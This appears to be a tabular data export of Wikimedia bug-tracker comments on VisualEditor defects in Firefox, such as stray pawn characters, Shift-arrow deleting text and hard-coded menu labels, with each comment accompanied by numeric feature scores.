6. I did something else with the arrow keys, all of the document's lines were erased (not all part of the <ul>), and the undo buffer could not step backwards.  Aaaa, will reproduce later.",,,1367216836,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-9,,2.0,0.5,0.0,1.0,1.5,4.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,7.5,0.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,10.0,1.5,5.0,0.0,1.0,11.5,0.0,0.0,0.0,0.0,4.5,0.5,0.5,0.0,1.0,7.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,6.0,3.142857142857143,0.6785714285714286,"Okay, the turd was a separate bug:

1. Edit a page with an unordered list.

2. Delete all the text on the last line.

3. Press the <delete key>. The bullet should be erased.  Instead, it will remain and the cursor will move to the end of the previous line.

4. down-arrow

5. down-arrow off of the empty line.

Turd appears in the empty line.

6. I did something else with the arrow keys, all of the document's lines were erased (not all part of the <ul>), and the undo buffer could not step backwards.  Aaaa, will reproduce later."
230708,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Confirmed. It still doesn't work in Firefox 20.0. Shift+Selection Keys isn't working in normal way. When up or down keys are pressed, the text is selected for the first time, but pressing them for second time gets the selected text deleted.",,,1367216493,,PHID-USER-d3oiyxwdmebcjszfff7w,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,10.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,4.081632653061225,0.7346938775510204,"Confirmed. It still doesn't work in Firefox 20.0. Shift+Selection Keys isn't working in normal way. When up or down keys are pressed, the text is selected for the first time, but pressing them for second time gets the selected text deleted."
230704,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Still actin' crazy: firefox 20.0, linux.  I hard-refreshed just in case.

In fact, I had some text highlighted and tried to use <ctrl>-<shift>-left to extend the selection.  My text was deleted, plus a character or two, and then a freakin snail character appeared.  I have yet to find the unicode for that.  It wasn't 1F40C, OMG it was 1f4a9 I was just about to say it looked more like a turd than snail.",,,1367215830,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-9,,1.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,8.0,11.0,0.0,4.0,0.0,0.0,1.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,4.0,9.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,8.0,11.0,3.0,0.0,1.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,3.5052631578947366,0.6842105263157895,"Still actin' crazy: firefox 20.0, linux.  I hard-refreshed just in case.

In fact, I had some text highlighted and tried to use <ctrl>-<shift>-left to extend the selection.  My text was deleted, plus a character or two, and then a freakin snail character appeared.  I have yet to find the unicode for that.  It wasn't 1F40C, OMG it was 1f4a9 I was just about to say it looked more like a turd than snail."
230701,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,And /now/ it's fixed. :-),,,1367010986,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,And /now/ it's fixed. :-)
230697,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,https://gerrit.wikimedia.org/r/61055 (Gerrit Change I1aff295a0958b75697c4d362e0d6095283f37fe8) | change APPROVED and MERGED [by jenkins-bot],,,1367010696,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I1aff295a0958b75697c4d362e0d6095283f37fe8) | change APPROVED and MERGED [by jenkins-bot]
230692,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Just for my sanity, marking as unfixed until it's merged.",,,1367010554,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.6923076923076925,1.0,"Just for my sanity, marking as unfixed until it's merged."
230687,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,Fixed in here: https://gerrit.wikimedia.org/r/#/c/61055/,,,1367004734,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Fixed in here: URL
230680,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,Related URL: https://gerrit.wikimedia.org/r/61055 (Gerrit Change I1aff295a0958b75697c4d362e0d6095283f37fe8),,,1367004696,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I1aff295a0958b75697c4d362e0d6095283f37fe8)
230674,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Confirmed, will work on it.",,,1366997433,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,"Confirmed, will work on it."
230666,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,Confirm that this occurs in Firefox but not in Chrome.,,,1366996702,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,27.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.9090909090909091,Confirm that this occurs in Firefox but not in Chrome.
49710,VisualEditor: Pawn ♙ appears after pressing Down key (first thing) in Firefox,"Steps to reproduce:

1. Open http://en.wikipedia.org/wiki/CMIS
2. Press Edit
3. Press your keyboard's Down key
4. Wild pawn ♙ appears

Also reproduced on http://ja.wikipedia.org/wiki/%E3%83%95%E3%83%AB%E3%83%BC%E3%83%AB%E3%83%BB%E3%83%89%E3%83%BB%E3%82%BB%E3%83%AB

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1366963320,1367004998.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-3whynfwz7dddsiybr7nr,task_description,resolved,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,4.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.3962264150943398,0.6226415094339622,"Steps to reproduce:

1. Open URL
2. Press Edit
3. Press your keyboard's Down key
4. Wild pawn ♙ appears

Also reproduced on URL

--------------------------
**Version**: unspecified
**Severity**: major"
230635,VisualEditor: Pawn ♙ appears after pressing Down key (first thing) in Firefox,Fixed in here: https://gerrit.wikimedia.org/r/#/c/61055/,,,1367004998,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-3whynfwz7dddsiybr7nr,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Fixed in here: URL
230631,VisualEditor: Pawn ♙ appears after pressing Down key (first thing) in Firefox,"Confirmed, will work on it.",,,1366997922,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-3whynfwz7dddsiybr7nr,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,"Confirmed, will work on it."
230628,VisualEditor: Pawn ♙ appears after pressing Down key (first thing) in Firefox,"Reproduced on Firefox 20 on OS X 10.8. 


Following error reported in console when pressing down key.

[19:49:36.737] TypeError: this.storeIndexes.slice is not a function @ http://bits.wikimedia.org/ja.wikipedia.org/load.php?debug=false&lang=zh-hans&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Crangy%7Cunicodejs.wordbreak&skin=vector&version=20130426T114825Z&*:48



Reproduced even when everything is in English:

https://zh.wikipedia.org/w/index.php?title=User:Bencmq-test/2&diff=26351189&oldid=26351184


No issue on Chrome or Safari. I took the liberty of marking it as FireFox only.",,,1366978000,,PHID-USER-hoj4lurwi6bejyjy5qlp,False,,,PHID-TASK-3whynfwz7dddsiybr7nr,task_subcomment,,True,c1,1,False,,,-10,,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,14.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,24.0,3.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,11.0,0.0,0.0,2.0,3.0,0.0,3.0,2.0,0.0,5.0,0.0,0.0,3.0,4.253968253968254,0.7936507936507936,"Reproduced on Firefox 20 on OS X 10.8. 


Following error reported in console when pressing down key.

[19:49:36.737] TypeError: this.storeIndexes.slice is not a function @ URL



Reproduced even when everything is in English:

URL


No issue on Chrome or Safari. I took the liberty of marking it as FireFox only."
230619,VisualEditor: Pawn ♙ appears after pressing Down key (first thing) in Firefox,"If you keep the Down key pressed, the caret will travel down, dumping a pawn at the end of some paragraphs.
I am not sure how pawn leaving is decided: For the same paragraph of the same article, sometimes a pawn is dumped and sometimes not.",,,1366967706,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-3whynfwz7dddsiybr7nr,task_subcomment,,True,c1,1,False,,,-10,,2.0,0.0,0.0,4.0,4.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,6.0,8.0,4.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,9.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.69811320754717,0.7169811320754716,"If you keep the Down key pressed, the caret will travel down, dumping a pawn at the end of some paragraphs.
I am not sure how pawn leaving is decided: For the same paragraph of the same article, sometimes a pawn is dumped and sometimes not."
49706,VisualEditor: Hard-coded strings in ve.ui.MWLinkTargetInputWidget.prototype.populateMenu,"From user report:

'externalLink', { '$$': menu$$, 'label': 'External link' }
'newPage', { '$$': menu$$, 'label': 'New page' }
'matchingPages', { '$$': menu$$, 'label': 'Matching page' }

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1366955760,1367019435.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-fa5biiyjbod7exipkpqs,task_description,resolved,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.659090909090909,0.3068181818181818,"From user report:

'externalLink', { '$$': menu$$, 'label': 'External link' }
'newPage', { '$$': menu$$, 'label': 'New page' }
'matchingPages', { '$$': menu$$, 'label': 'Matching page' }

--------------------------
**Version**: unspecified
**Severity**: major"
230426,VisualEditor: Hard-coded strings in ve.ui.MWLinkTargetInputWidget.prototype.populateMenu,In the end fixed by gerrit 60700 just to be confusing; now merged and will be deployed in the Monday deploy train.,,,1367019435,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fa5biiyjbod7exipkpqs,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.9166666666666666,In the end fixed by gerrit 60700 just to be confusing; now merged and will be deployed in the Monday deploy train.
230424,VisualEditor: Hard-coded strings in ve.ui.MWLinkTargetInputWidget.prototype.populateMenu,Fixed by gerrit 61035. Thanks for the catch!,,,1366996007,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fa5biiyjbod7exipkpqs,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,Fixed by gerrit 61035. Thanks for the catch!
49687,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),"https://he.wikipedia.org/w/index.php?title=%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:Matanya/%D7%90%D7%A8%D7%92%D7%96_%D7%97%D7%95%D7%9C_2&diff=14076208&oldid=14076205

https://he.wikipedia.org/w/index.php?title=%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:Matanya/%D7%90%D7%A8%D7%92%D7%96_%D7%97%D7%95%D7%9C_2&diff=14076218&oldid=14076208

(Others.)

User says they get this when switching he/en and back again.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1366933140,1373221327.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-p24deoao7z7cqo3jfmi7,task_description,declined,True,c1,1,True,False,True,-10,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,3.4878048780487805,0.6585365853658537,"URL

URL

(Others.)

User says they get this when switching he/en and back again.

--------------------------
**Version**: unspecified
**Severity**: normal"
228814,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),"I cannot reproduce it any more (Firefox 22, Fedora 18). Marking WORKSFORME, but reopen if it still happens.",,,1373221327,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,3,False,,,0,,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,12.0,4.0,16.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.6,0.88,"I cannot reproduce it any more (Firefox 22, Fedora 18). Marking WORKSFORME, but reopen if it still happens."
228811,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),"Steps to reproduce:

1) open https://he.wikipedia.org/w/index.php?title=%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:Matanya/%D7%90%D7%A8%D7%92%D7%96_%D7%97%D7%95%D7%9C_2&diff=14076208&oldid=14076205

in VE mode.

2) open a new line and go to the beginning of the line. switch for he to en or vice versa on your keyboard.

3) you have a pawn. 

tested on firefox 21 on ubuntu 13.04",,,1369123443,,PHID-USER-u7udgblfyop6qd5wxot6,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,5.0,16.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.7068965517241379,"Steps to reproduce:

1) open URL

in VE mode.

2) open a new line and go to the beginning of the line. switch for he to en or vice versa on your keyboard.

3) you have a pawn. 

tested on firefox 21 on ubuntu 13.04"
228809,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),Ping to Amir / matanya for steps to reproduce.,,,1369093796,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,30.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.9,Ping to Amir / matanya for steps to reproduce.
